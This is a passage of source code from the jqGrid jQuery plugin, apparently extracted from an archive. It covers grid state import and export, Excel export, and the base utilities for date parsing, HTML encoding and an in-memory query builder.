if(!grid[0].p.data[pos][isLeaf]){ if(grid[0].p.data[pos][expanded]){ grid.jqGrid("collapseRow",grid[0].p.data[pos]); grid.jqGrid("collapseNode",grid[0].p.data[pos]); } else { grid.jqGrid("expandRow",grid[0].p.data[pos]); grid.jqGrid("expandNode",grid[0].p.data[pos]); } } return false; }); if(ret.ExpandColClick === true) { $(grid[0].rows[i].cells[expCol]) .find("span.cell-wrapper") .css("cursor","pointer") .on("click",function(e) { var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref(ret.idPrefix,$(target,grid[0].rows).closest("tr.jqgrow")[0].id), pos = grid[0].p._index[ind2]; if(!grid[0].p.data[pos][isLeaf]){ if(grid[0].p.data[pos][expanded]){ grid.jqGrid("collapseRow", grid[0].p.data[pos]); grid.jqGrid("collapseNode", grid[0].p.data[pos]); } else { grid.jqGrid("expandRow", grid[0].p.data[pos]); grid.jqGrid("expandNode", grid[0].p.data[pos]); } } grid.jqGrid("setSelection",ind2); return false; }); } i++; } } // multiselect if(ret.multiselect) { $.each(ret.selarrrow, function(){ $("#jqg_" + jqGridId + "_"+this)[ret.useProp ? 'prop': 'attr']("checked", "checked"); }); } // grouping if(grid.jqGrid('isGroupHeaderOn')) { grid.jqGrid('refreshGroupHeaders'); } // searchcol if(ret.searchCols) { for(var key in ret._results) { if(ret._results.hasOwnProperty(key)) { $("#jqs_" + jqGridId + "_"+key).val(ret._results[key].v); } } } // pivotgrid // // inline navigator if(ret.inlineNav && iN) { grid.jqGrid('setGridParam', { inlineNav:false }); grid.jqGrid('inlineNav', ret.pager, iN); } // toolbar filter if(ret.filterToolbar && fT) { grid.jqGrid('setGridParam', { filterToolbar:false }); fT.restoreFromFilters = true; grid.jqGrid('filterToolbar', fT); } // finally frozenColums if( ret.frozenColumns ) { grid.jqGrid('setFrozenColumns'); } grid[0].updatepager(true, true); if($.jgrid.isFunction(o.afterSetGrid)) { o.afterSetGrid( grid ); } if(o.clearAfterLoad) { window[o.storageType].removeItem("jqGrid"+$t.id); window[o.storageType].removeItem("jqGrid"+$t.id + "_data"); } } else { alert("can not convert to object"); } }, isGridInStorage : function ( jqGridId, options ) { var o = { storageType: "localStorage" }; o = $.extend(o , options || {}); var ret, gridstring, data; try { gridstring = window[o.storageType].getItem("jqGrid"+jqGridId); data = window[o.storageType].getItem("jqGrid" + jqGridId + "_data"); ret = gridstring != null && data != null && typeof gridstring === "string" && typeof data === "string" ; } catch (e) { ret = false; } return ret; }, setRegional : function( jqGridId , options) { var o = { storageType: "sessionStorage" }; o = $.extend(o , options || {}); if( !o.regional ) { return; } $.jgrid.saveState( jqGridId, o ); o.beforeSetGrid = function(params) { params.regional = o.regional; params.force_regional = true; return params; }; $.jgrid.loadState( jqGridId, null, o); // check for formatter actions var grid = $("#"+jqGridId)[0], model = $(grid).jqGrid('getGridParam','colModel'), i=-1, nav = $.jgrid.getRegional(grid, 'nav'); $.each(model,function(k){ if(this.formatter && this.formatter === 'actions') { i = k; return false; } }); if(i !== -1 && nav) { $("#"+jqGridId + " tbody tr").each(function(){ var td = this.cells[i]; $(td).find(".ui-inline-edit").attr("title",nav.edittitle); $(td).find(".ui-inline-del").attr("title",nav.deltitle); $(td).find(".ui-inline-save").attr("title",nav.savetitle); $(td).find(".ui-inline-cancel").attr("title",nav.canceltitle); }); } try { window[o.storageType].removeItem("jqGrid"+grid.id); window[o.storageType].removeItem("jqGrid"+grid.id+"_data"); } catch (e) {} }, jqGridImport : function(jqGridId, o) { o = $.extend({ imptype : "xml", // xml, json, xmlstring, jsonstring impstring: "", impurl: "", mtype: "GET", impData : {}, xmlGrid :{ config : "root>grid", data: "root>rows" }, jsonGrid :{ config : "grid", data: "data" }, ajaxOptions :{} }, o || {}); var $t = (jqGridId.indexOf("#") === 0 ? "": "#") + $.jgrid.jqID(jqGridId); var xmlConvert = function (xml,o) { var cnfg = $(o.xmlGrid.config,xml)[0]; var xmldata = $(o.xmlGrid.data,xml)[0], jstr, jstr1, key; if($.grid.xmlToJSON ) { jstr = $.jgrid.xmlToJSON( cnfg ); //jstr = $.jgrid.parse(jstr); for(key in jstr) { if(jstr.hasOwnProperty(key)) { jstr1=jstr[key]; } } if(xmldata) { // save the datatype var svdatatype = jstr.grid.datatype; jstr.grid.datatype = 'xmlstring'; jstr.grid.datastr = xml; $($t).jqGrid( jstr1 ).jqGrid("setGridParam",{datatype:svdatatype}); } else { setTimeout(function() { $($t).jqGrid( jstr1 ); },0); } } else { alert("xml2json or parse are not present"); } }; var jsonConvert = function (jsonstr,o){ if (jsonstr && typeof jsonstr === 'string') { var json = $.jgrid.parseFunc(jsonstr); var gprm = json[o.jsonGrid.config]; var jdata = json[o.jsonGrid.data]; if(jdata) { var svdatatype = gprm.datatype; gprm.datatype = 'jsonstring'; gprm.datastr = jdata; $($t).jqGrid( gprm ).jqGrid("setGridParam",{datatype:svdatatype}); } else { $($t).jqGrid( gprm ); } } }; switch (o.imptype){ case 'xml': $.ajax($.extend({ url:o.impurl, type:o.mtype, data: o.impData, dataType:"xml", complete: function(xml,stat) { if(stat === 'success') { xmlConvert(xml.responseXML,o); $($t).triggerHandler("jqGridImportComplete", [xml, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(xml); } } xml=null; } }, o.ajaxOptions)); break; case 'xmlstring' : // we need to make just the conversion and use the same code as xml if(o.impstring && typeof o.impstring === 'string') { var xmld = $.parseXML(o.impstring); if(xmld) { xmlConvert(xmld,o); $($t).triggerHandler("jqGridImportComplete", [xmld, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(xmld); } } } break; case 'json': $.ajax($.extend({ url:o.impurl, type:o.mtype, data: o.impData, dataType:"json", complete: function(json) { try { jsonConvert(json.responseText,o ); $($t).triggerHandler("jqGridImportComplete", [json, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(json); } } catch (ee){} json=null; } }, o.ajaxOptions )); break; case 'jsonstring' : if(o.impstring && typeof o.impstring === 'string') { jsonConvert(o.impstring,o ); $($t).triggerHandler("jqGridImportComplete", [o.impstring, o]); if($.jgrid.isFunction(o.importComplete)) { o.importComplete(o.impstring); } } break; } } }); $.jgrid.extend({ jqGridExport : function(o) { o = $.extend({ exptype : "xmlstring", root: "grid", ident: "\t", addOptions : {}, data : true }, o || {}); var ret = null; this.each(function () { if(!this.grid) { return;} var gprm = $.extend(true, {}, $(this).jqGrid("getGridParam"), o.addOptions); // we need to check for: // 1.multiselect, 2.subgrid 3. treegrid and remove the unneded columns from colNames if(gprm.rownumbers) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } if(gprm.multiselect) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } if(gprm.searchCols) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } if(gprm.subGrid) { gprm.colNames.splice(0,1); gprm.colModel.splice(0,1); } gprm.knv = null; if(!o.data) { gprm.data = []; gprm._index = {}; } switch (o.exptype) { case 'xmlstring' : ret = "<"+o.root+">"+ $.jgrid.jsonToXML( gprm, {xmlDecl:""} )+"</"+o.root+">"; break; case 'jsonstring' : ret = $.jgrid.stringify( gprm ); if(o.root) { ret = "{"+ o.root +":"+ret+"}"; } break; } }); return ret; }, excelExport : function(o) { o = $.extend({ exptype : "remote", url : null, oper: "oper", tag: "excel", beforeExport : null, exporthidden : false, exportgrouping: false, exportOptions : {}, method : 'GET' }, o || {}); return this.each(function(){ if(!this.grid) { return;} var url; if(o.exptype === "remote") { var pdata = $.extend({},this.p.postData), expg; pdata[o.oper] = o.tag; if($.jgrid.isFunction(o.beforeExport)) { var result = o.beforeExport.call(this, pdata ); if( $.isPlainObject( result ) ) { pdata = result; } } if(o.exporthidden) { var cm = this.p.colModel, i, len = cm.length, newm=[]; for(i=0; i< len; i++) { if(cm[i].hidden === undefined) { cm[i].hidden = false; } newm.push({name:cm[i].name, hidden:cm[i].hidden}); } var newm1 = JSON.stringify( newm ); if(typeof newm1 === 'string' ) { pdata.colModel = newm1; } } if(o.exportgrouping) { expg = JSON.stringify( this.p.groupingView ); if(typeof expg === 'string' ) { pdata.groupingView = expg; } } try { $.jgrid.postForm(o.url, pdata, o.method); } catch (e) { var params = jQuery.param(pdata); if(o.url.indexOf("?") !== -1) { url = o.url+"&"+params; } else { url = o.url+"?"+params; } window.location = url; } } }); } }); //module end })); grid.base.js000064400001060442151677266200006763 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("defaults")) { $.jgrid.defaults = {}; } $.extend($.jgrid,{ version : "5.8.7", isNull : function( p, strict_eq) { if(strict_eq && strict_eq === true) { return p === null; } else { return p == null; } }, trim : function (x) { if(typeof x === "string") { return x.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); } else { return x; } }, isFunction : function (x){ return typeof x === 'function'; }, type : function (obj, fullClass) { // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof if (fullClass) { return (obj === null) ? '[object Null]' : Object.prototype.toString.call(obj); } if (obj == null) { return (obj + '').toLowerCase(); } // implicit toString() conversion var deepType = Object.prototype.toString.call(obj).slice(8,-1).toLowerCase(); if (deepType === 'generatorfunction') { return 'function'; } return deepType.match(/^(array|bigint|date|error|function|generator|regexp|symbol)$/) ? deepType : (typeof obj === 'object' || typeof obj === 'function') ? 'object' : typeof obj; }, floatNum : function(val, defval) { if( defval === undefined ) { defval = 0; } val = parseFloat(val); return !isNaN(val) ? val : defval; }, htmlDecode : function(value){ if(value && (value===' ' || value===' ' || (value.length===1 && value.charCodeAt(0)===160))) { return "";} return !value ? value : String(value).replace(/>/g, ">").replace(/</g, "<").replace(/"/g, '"').replace(/&/g, "&"); }, htmlEncode : function (value){ return !value ? value : String(value).replace(/&/g, "&").replace(/\"/g, """).replace(/</g, "<").replace(/>/g, ">"); }, template : function(format){ //jqgformat var args = $.makeArray(arguments).slice(1), j, al = args.length; if( $.jgrid.isNull(format) ) { format = ""; } return format.replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g, function(m,i){ if(!isNaN(parseInt(i,10))) { return args[parseInt(i,10)]; } for(j=0; j < al;j++) { if(Array.isArray(args[j])) { var nmarr = args[ j ], k = nmarr.length; while(k--) { if(i===nmarr[k].nm) { return nmarr[k].v; } } } else if(typeof args[j] === 'object' && args[j][i]) { return $.jgrid.isFunction(args[j][i]) ? args[j][i]() : args[j][i]; } } }); }, msie : function () { return $.jgrid.msiever() > 0; }, msiever : function () { var rv =0, sAgent = window.navigator.userAgent, Idx = sAgent.indexOf("MSIE"); if (Idx > 0) { rv = parseInt(sAgent.substring(Idx+ 5, sAgent.indexOf(".", Idx))); } else if ( !!navigator.userAgent.match(/Trident\/7\./) ) { rv = 11; } return rv; }, getCellIndex : function (cell) { var c = $(cell); if (c.is('tr')) { return -1; } c = (!c.is('td') && !c.is('th') ? c.closest("td,th") : c)[0]; if ($.jgrid.msie()) { return $.inArray(c, c.parentNode.cells); } return c.cellIndex; }, stripHtml : function(v) { v = String(v); var regexp = /<("[^"]*"|'[^']*'|[^'">])*>/gi; if (v) { v = v.replace(regexp,""); return (v && v !== ' ' && v !== ' ') ? v.replace(/\"/g,"'") : ""; } return v; }, stripPref : function (pref, id) { var obj = $.jgrid.type( pref ); if( obj === "string" || obj === "number") { pref = String(pref); id = pref !== "" ? String(id).replace(String(pref), "") : id; } return id; }, stripScript : function( v ) { return v.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, " "); }, useJSON : true, runCode : function (obj){ return Function('"use strict";return (' + obj + ')')(); }, parse : function(jsonString) { var js = jsonString; if (js.slice(0,9) === "while(1);") { js = js.slice(9); } if (js.slice(0,2) === "/*") { js = js.slice(2,js.length-2); } if(!js) { js = "{}"; } return ($.jgrid.useJSON===true && typeof JSON === 'object' && typeof JSON.parse === 'function') ? JSON.parse(js) : $.jgrid.runCode( js ); //eval('(' + js + ')'); }, dateToOADate :function (date) { // Add 1462 in 1904 system (apple) var temp = new Date(date); // Set temp to start of day and get whole days between dates, var days = Math.round((temp.setHours(0,0,0,0) - new Date(1899, 11, 30)) / 8.64e7); // Get decimal part of day, OADate always assumes 24 hours in day var partDay = (Math.abs((date - temp) % 8.64e7) / 8.64e7).toFixed(10); return days + partDay.slice(1); }, parseDate : function(format, date, newformat, opts) { var token = /\\.|[dDjlNSwzWFmMntLoYyaABgGhHisueIOPTZcrU]/g, timezone = /\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g, timezoneClip = /[^-+\dA-Z]/g, msDateRegExp = new RegExp("^\/Date\\((([-+])?[0-9]+)(([-+])([0-9]{2})([0-9]{2}))?\\)\/$"), msMatch = ((typeof date === 'string') ? date.match(msDateRegExp): null), pad = function (value, length) { value = String(value); length = parseInt(length,10) || 2; while (value.length < length) { value = '0' + value; } return value; }, insStr = function( value, pos, ch) { value = String(value); return value.slice(0, pos) + ch + value.slice(pos); }, ts = {m : 1, d : 1, y : 1970, h : 0, i : 0, s : 0, u:0}, timestamp=0, dM, k,hl, h12to24 = function(ampm, h){ if (ampm === 0){ if (h === 12) { h = 0;} } else { if (h !== 12) { h += 12; } } return h; }, offset =0; if(opts === undefined) { opts = $.jgrid.getRegional(this, "formatter.date");//$.jgrid.formatter.date; } // old lang files if(opts === undefined) { opts = {}; } if(opts.parseRe === undefined ) { opts.parseRe = /[#%\\\/:_;.,\t\s-]/; } if(opts.AmPm === undefined ) { opts.AmPm = ["am","pm","AM","PM"]; } if( opts.masks && opts.masks.hasOwnProperty(format) ) { format = opts.masks[format]; } if(date && !$.jgrid.isNull( date ) ) { if( !isNaN( date - 0 ) && String(format).toLowerCase() === "u") { //Unix timestamp timestamp = new Date( parseFloat(date)*1000 ); opts.validate = false; } else if(date.constructor === Date) { timestamp = date; opts.validate = false; } else if( msMatch !== null ) { // Microsoft date format support timestamp = new Date(parseInt(msMatch[1], 10)); if (msMatch[3]) { offset = Number(msMatch[5]) * 60 + Number(msMatch[6]); offset *= ((msMatch[4] === '-') ? 1 : -1); offset -= timestamp.getTimezoneOffset(); timestamp.setTime(Number(Number(timestamp) + (offset * 60 * 1000))); } opts.validate = false; } else { //Support ISO8601Long that have Z at the end to indicate UTC timezone if(opts.srcformat === 'ISO8601Long' && date.charAt(date.length - 1) === 'Z') { offset -= (new Date()).getTimezoneOffset(); } date = String(date).replace(/\T/g,"#").replace(/\t/,"%").split(opts.parseRe); format = format.replace(/\T/g,"#").replace(/\t/,"%").split(opts.parseRe); // parsing for month names for(k=0,hl=format.length;k<hl;k++){ switch ( format[k] ) { case 'M': dM = $.inArray(date[k],opts.monthNames); if(dM !== -1 && dM < 12){date[k] = dM+1; ts.m = date[k];} break; case 'F': dM = $.inArray(date[k],opts.monthNames,12); if(dM !== -1 && dM > 11){date[k] = dM+1-12; ts.m = date[k];} break; case 'n': format[k] = 'm'; break; case 'j': format[k] = 'd'; break; case 'a': dM = $.inArray(date[k],opts.AmPm); if(dM !== -1 && dM < 2 && date[k] === opts.AmPm[dM]){ date[k] = dM; ts.h = h12to24(date[k], ts.h); } break; case 'A': dM = $.inArray(date[k],opts.AmPm); if(dM !== -1 && dM > 1 && date[k] === opts.AmPm[dM]){ date[k] = dM-2; ts.h = h12to24(date[k], ts.h); } break; case 'g': ts.h = parseInt(date[k], 10); break; } if(date[k] !== undefined) { ts[format[k].toLowerCase()] = parseInt(date[k],10); } } if(ts.f) {ts.m = ts.f;} if( ts.m === 0 && ts.y === 0 && ts.d === 0) { return " " ; } ts.m = parseInt(ts.m,10)-1; var ty = ts.y; if (ty >= 70 && ty <= 99) {ts.y = 1900+ts.y;} else if (ty >=0 && ty <=69) {ts.y= 2000+ts.y;} timestamp = new Date(ts.y, ts.m, ts.d, ts.h, ts.i, ts.s, ts.u); //Apply offset to show date as local time. if(offset !== 0) { timestamp.setTime(Number(Number(timestamp) + (offset * 60 * 1000))); } } } else { timestamp = new Date(ts.y, ts.m, ts.d, ts.h, ts.i, ts.s, ts.u); } if(opts && opts.validate === true ) { // validation var valid_date = new Date(ts.y, (+ts.m), ts.d, ts.h, ts.i); return (Boolean(+valid_date) && valid_date.getDate() === ts.d && valid_date.getHours() === ts.h && valid_date.getMinutes() === ts.i); } if(opts.userLocalTime && offset === 0) { offset -= (new Date()).getTimezoneOffset(); if( offset !== 0 ) { timestamp.setTime(Number(Number(timestamp) + (offset * 60 * 1000))); } } if( newformat === undefined ) { return timestamp; } if( opts.masks && opts.masks.hasOwnProperty(newformat) ) { newformat = opts.masks[newformat]; } else if ( !newformat ) { newformat = 'Y-m-d'; } var G = timestamp.getHours(), i = timestamp.getMinutes(), j = timestamp.getDate(), n = timestamp.getMonth() + 1, o = timestamp.getTimezoneOffset(), s = timestamp.getSeconds(), u = timestamp.getMilliseconds(), w = timestamp.getDay(), Y = timestamp.getFullYear(), N = (w + 6) % 7 + 1, z = (new Date(Y, n - 1, j) - new Date(Y, 0, 1)) / 86400000, flags = { // Day d: pad(j), D: opts.dayNames[w], j: j, l: opts.dayNames[w + 7], N: N, S: opts.S(j), //j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th', w: w, z: z, // Week W: N < 5 ? Math.floor((z + N - 1) / 7) + 1 : Math.floor((z + N - 1) / 7) || ((new Date(Y - 1, 0, 1).getDay() + 6) % 7 < 4 ? 53 : 52), // Month F: opts.monthNames[n - 1 + 12], m: pad(n), M: opts.monthNames[n - 1], n: n, t: '?', // Year L: '?', o: '?', Y: Y, y: String(Y).substring(2), // Time a: G < 12 ? opts.AmPm[0] : opts.AmPm[1], A: G < 12 ? opts.AmPm[2] : opts.AmPm[3], B: '?', g: G % 12 || 12, G: G, h: pad(G % 12 || 12), H: pad(G), i: pad(i), s: pad(s), u: u, // Timezone e: '?', I: '?', O: (o > 0 ? "-" : "+") + pad(Math.floor(Math.abs(o) / 60) * 100 + Math.abs(o) % 60, 4), P: (o > 0 ? "-" : "+") + insStr( pad(Math.floor(Math.abs(o) / 60) * 100 + Math.abs(o) % 60, 4), -2, ":"), T: (String(timestamp).match(timezone) || [""]).pop().replace(timezoneClip, ""), Z: '?', // Full Date/Time c: '?', r: '?', U: Math.floor(timestamp / 1000) }; return newformat.replace(token, function ($0) { return flags.hasOwnProperty($0) ? flags[$0] : $0.substring(1); }); }, jqID : function(sid){ return String(sid).replace(/[!"#$%&'()*+,.\/:; <=>?@\[\\\]\^`{|}~]/g,"\\$&"); }, guid : 1, uidPref: 'jqg', randId : function( prefix ) { return (prefix || $.jgrid.uidPref) + ($.jgrid.guid++); }, getAccessor : function(obj, expr) { var ret,p,prm = [], i; if( typeof expr === 'function') { return expr(obj); } ret = obj[expr]; if(ret===undefined) { try { if ( typeof expr === 'string' ) { prm = expr.split('.'); } i = prm.length; if( i ) { ret = obj; while (ret && i--) { p = prm.shift(); ret = ret[p]; } } } catch (e) {} } return ret; }, getXmlData: function (obj, expr, returnObj) { var ret, m = typeof expr === 'string' ? expr.match(/^(.*)\[(\w+)\]$/) : null; if (typeof expr === 'function') { return expr(obj); } if (m && m[2]) { // m[2] is the attribute selector // m[1] is an optional element selector // examples: "[id]", "rows[page]" return m[1] ? $(m[1], obj).attr(m[2]) : $(obj).attr(m[2]); } ret = $(expr, obj); if (returnObj) { return ret; } //$(expr, obj).filter(':last'); // we use ':last' to be more compatible with old version of jqGrid return ret.length > 0 ? $(ret).text() : undefined; }, cellWidth : function () { var $testDiv = $("<div class='ui-jqgrid' style='left:10000px'><table class='ui-jqgrid-btable ui-common-table' style='width:5px;'><tr class='jqgrow'><td style='width:5px;display:block;'></td></tr></table></div>"), testCell = $testDiv.appendTo("body") .find("td") .width(); $testDiv.remove(); return Math.abs(testCell-5) > 0.1; }, isLocalStorage : function () { try { return 'localStorage' in window && window.localStorage !== null; } catch (e) { return false; } }, getRegional : function(inst, param, def_val) { var ret; if(def_val !== undefined) { return def_val; } if(inst.p && inst.p.regional && $.jgrid.regional) { ret = $.jgrid.getAccessor( $.jgrid.regional[inst.p.regional] || {}, param); } if(ret === undefined ) { ret = $.jgrid.getAccessor( $.jgrid, param); } return ret; }, isMobile : function() { try { if(/Android|webOS|iPhone|iPad|iPod|pocket|psp|kindle|avantgo|blazer|midori|Tablet|Palm|maemo|plucker|phone|BlackBerry|symbian|IEMobile|mobile|ZuneWP7|Windows Phone|Opera Mini/i.test(navigator.userAgent)) { return true; } return false; } catch(e) { return false; } }, cell_width : true, scrollbarWidth : function() { // http://jdsharp.us/jQuery/minute/calculate-scrollbar-width.php var div = $('<div style="width:50px;height:50px;overflow:hidden;position:absolute;top:-200px;left:-200px;"><div style="height:100px;"></div>'); $('body').append(div); var w1 = $('div', div).innerWidth(); div.css('overflow-y', 'scroll'); var w2 = $('div', div).innerWidth(); $(div).remove(); return (w1 - w2) < 0 ? 18 : (w1 - w2); }, scrollbarHeight : function() { var div = $('<div style="width:50px;overflow-x:scroll;position:absolute;top:-200px;left:-200px;"<span>1234567890</span></div>'); $('body').append(div); var w1 = $(div).outerHeight(); var w2 = $(div)[0].scrollHeight; $(div).remove(); return (w1 - w2) < 0 ? 18 : (w1 - w2); }, ajaxOptions: {}, from : function(source){ // Original Author Hugo Bonacci // License MIT http://jlinq.codeplex.com/license var $t = this, QueryObject=function(d,q){ if(typeof d==="string"){ d=$.data(d); } var self=this, _data=d, _usecase=true, _trim=false, _query=q, _stripNum = /[\$,%]/g, _lastCommand=null, _lastField=null, _orDepth=0, _negate=false, _queuedOperator="", _sorting=[], _useProperties=true; if(typeof d==="object"&&d.push) { if(d.length>0){ if(typeof d[0]!=="object"){ _useProperties=false; }else{ _useProperties=true; } } }else{ throw "data provides is not an array"; } this._hasData=function(){ return _data===null?false:_data.length===0?false:true; }; this._getStr=function(s){ var phrase=[]; if(_trim){ phrase.push("$.jgrid.trim("); } phrase.push("String("+s+")"); if(_trim){ phrase.push(")"); } if(!_usecase){ phrase.push(".toLowerCase()"); } return phrase.join(""); }; this._strComp=function(val){ if(typeof val==="string"){ return".toString()"; } return""; }; this._group=function(f,u){ return({field:f.toString(),unique:u,items:[]}); }; this._toStr=function(phrase){ if(_trim){ phrase=$.jgrid.trim(phrase); } phrase=phrase.toString().replace(/\\/g,'\\\\').replace(/\"/g,'\\"'); return _usecase ? phrase : phrase.toLowerCase(); }; this._funcLoop=function(func){ var results=[]; $.each(_data,function(i,v){ results.push(func(v)); }); return results; }; this._append=function(s){ var i; if(_query===null){ _query=""; } else { _query+=_queuedOperator === "" ? " && " :_queuedOperator; } for (i=0;i<_orDepth;i++){ _query+="("; } if(_negate){ _query+="!"; } _query+="("+s+")"; _negate=false; _queuedOperator=""; _orDepth=0; }; this._setCommand=function(f,c){ _lastCommand=f; _lastField=c; }; this._resetNegate=function(){ _negate=false; }; this._repeatCommand=function(f,v){ if(_lastCommand===null){ return self; } if(f!==null&&v!==null){ return _lastCommand(f,v); } if(_lastField===null){ return _lastCommand(f); } if(!_useProperties){ return _lastCommand(f); } return _lastCommand(_lastField,f); }; this._equals=function(a,b){ return(self._compare(a,b,1)===0); }; this._compare=function(a,b,d){ var toString = Object.prototype.toString; if( d === undefined) { d = 1; } if(a===undefined) { a = null; } if(b===undefined) { b = null; } if(a===null && b===null){ return 0; } if(a===null&&b!==null){ return 1; } if(a!==null&&b===null){ return -1; } if( (toString.call(a) === '[object Date]' && toString.call(b) === '[object Date]') || (typeof a === "number" && typeof b === "number") ) { return a > b ? d : a < b ? -d : 0; } var ret = String(a).localeCompare(String(b)); return ret < 0 ? -d : ret > 0 ? d : 0; }; this._performSort=function(){ if(_sorting.length===0){return;} _data=self._doSort(_data,0); }; this._doSort=function(d,q){ var by=_sorting[q].by, dir=_sorting[q].dir, type = _sorting[q].type, dfmt = _sorting[q].datefmt, sfunc = _sorting[q].sfunc; if(q===_sorting.length-1){ return self._getOrder(d, by, dir, type, dfmt, sfunc); } q++; var values=self._getGroup(d,by,dir,type,dfmt), results=[], i, j, sorted; for(i=0;i<values.length;i++){ sorted=self._doSort(values[i].items,q); for(j=0;j<sorted.length;j++){ results.push(sorted[j]); } } return results; }; this._getOrder=function(data,by,dir,type, dfmt, sfunc){ var sortData=[],_sortData=[], newDir = dir==="a" ? 1 : -1, i,ab,j, findSortKey; if(type === undefined ) { type = "text"; } if (type === 'float' || type=== 'number' || type=== 'currency' || type=== 'numeric') { findSortKey = function($cell) { var key = parseFloat( String($cell).replace(_stripNum, '')); return isNaN(key) ? Number.NEGATIVE_INFINITY : key; }; } else if (type==='int' || type==='integer') { findSortKey = function($cell) { return $cell ? parseFloat(String($cell).replace(_stripNum, '')) : Number.NEGATIVE_INFINITY; }; } else if(type === 'date' || type === 'datetime') { findSortKey = function($cell) { return $.jgrid.parseDate.call($t, dfmt, $cell).getTime(); }; } else if($.jgrid.isFunction(type)) { findSortKey = type; } else { findSortKey = function($cell) { $cell = $cell ? $.jgrid.trim(String($cell)) : ""; return _usecase ? $cell : $cell.toLowerCase(); }; } $.each(data,function(i,v){ ab = by!=="" ? $.jgrid.getAccessor(v,by) : v; if(ab === undefined) { ab = ""; } ab = findSortKey(ab, v); _sortData.push({ 'vSort': ab,'index':i}); }); if($.jgrid.isFunction(sfunc)) { _sortData.sort(function(a,b){ return sfunc.call(this,a.vSort, b.vSort, newDir, a, b); }); } else { _sortData.sort(function(a,b){ return self._compare(a.vSort, b.vSort,newDir); }); } j=0; var nrec= data.length; // overhead, but we do not change the original data. while(j<nrec) { i = _sortData[j].index; sortData.push(data[i]); j++; } return sortData; }; this._getGroup=function(data,by,dir,type, dfmt){ var results=[], group=null, last=null, val; $.each(self._getOrder(data,by,dir,type, dfmt),function(i,v){ val = $.jgrid.getAccessor(v, by); if($.jgrid.isNull(val)) { val = ""; } if(!self._equals(last,val)){ last=val; if(group !== null){ results.push(group); } group=self._group(by,val); } group.items.push(v); }); if(group !== null){ results.push(group); } return results; }; this.ignoreCase=function(){ _usecase=false; return self; }; this.useCase=function(){ _usecase=true; return self; }; this.trim=function(){ _trim=true; return self; }; this.noTrim=function(){ _trim=false; return self; }; this.execute=function(){ var match=_query, results=[]; if(match === null){ return self; } $.each(_data,function(){ if($.jgrid.runCode.call($t, match.replace(/this/g, JSON.stringify(this)) ) ){ //eval(match) results.push(this); } }); _data=results; return self; }; this.data=function(){ return _data; }; this.select=function(f){ self._performSort(); if(!self._hasData()){ return[]; } self.execute(); if($.jgrid.isFunction(f)){ var results=[]; $.each(_data,function(i,v){ results.push(f(v)); }); return results; } return _data; }; this.hasMatch=function(){ if(!self._hasData()) { return false; } self.execute(); return _data.length>0; }; this.andNot=function(f,v,x){ _negate=!_negate; return self.and(f,v,x); }; this.orNot=function(f,v,x){ _negate=!_negate; return self.or(f,v,x); }; this.not=function(f,v,x){ return self.andNot(f,v,x); }; this.and=function(f,v,x){ _queuedOperator=" && "; if(f===undefined){ return self; } return self._repeatCommand(f,v,x); }; this.or=function(f,v,x){ _queuedOperator=" || "; if(f===undefined) { return self; } return self._repeatCommand(f,v,x); }; this.orBegin=function(){ _orDepth++; return self; }; this.orEnd=function(){ if (_query !== null){ _query+=")"; } return self; }; this.isNot=function(f){ _negate=!_negate; return self.is(f); }; this.is=function(f){ self._append('this.'+f); self._resetNegate(); return self; }; this._compareValues=function(func,f,v,how,t){ var fld; if(_useProperties){ fld='jQuery.jgrid.getAccessor(this,\''+f+'\')'; }else{ fld='this'; } if(v===undefined) { v = null; } //var val=v===null?f:v, var val =v, swst = t.stype === undefined ? "text" : t.stype; if(v !== null) { switch(swst) { case 'int': case 'integer': val = (isNaN(Number(val)) || val==="") ? Number.NEGATIVE_INFINITY : val; // To be fixed with more inteligent code fld = 'parseInt('+fld+',10)'; val = 'parseInt('+val+',10)'; break; case 'float': case 'number': case 'numeric': val = String(val).replace(_stripNum, ''); val = (isNaN(Number(val)) || val==="") ? Number.NEGATIVE_INFINITY : Number(val); // To be fixed with more inteligent code fld = 'parseFloat('+fld+')'; val = 'parseFloat('+val+')'; break; case 'date': case 'datetime': val = String($.jgrid.parseDate.call($t, t.srcfmt || 'Y-m-d',val).getTime()); fld = 'jQuery.jgrid.parseDate.call(jQuery("#'+$.jgrid.jqID($t.p.id)+'")[0],"'+t.srcfmt+'",'+fld+').getTime()'; break; default : fld=self._getStr(fld); val=self._getStr('"'+self._toStr(val)+'"'); } } self._append(fld+' '+how+' '+val); self._setCommand(func,f); self._resetNegate(); return self; }; this.equals=function(f,v,t){ return self._compareValues(self.equals,f,v,"==",t); }; this.notEquals=function(f,v,t){ return self._compareValues(self.equals,f,v,"!==",t); }; this.isNull = function(f,v,t){ return self._compareValues(self.equals,f,null,"===",t); }; this.greater=function(f,v,t){ return self._compareValues(self.greater,f,v,">",t); }; this.less=function(f,v,t){ return self._compareValues(self.less,f,v,"<",t); }; this.greaterOrEquals=function(f,v,t){ return self._compareValues(self.greaterOrEquals,f,v,">=",t); }; this.lessOrEquals=function(f,v,t){ return self._compareValues(self.lessOrEquals,f,v,"<=",t); }; this.startsWith=function(f,v){ //var val = $.jgrid.isNull(v) ? f: v, //length=_trim ? $.jgrid.trim(val.toString()).length : val.toString().length; if(_useProperties){ //self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.slice(0,'+length+') == '+self._getStr('"'+self._toStr(v)+'"')); 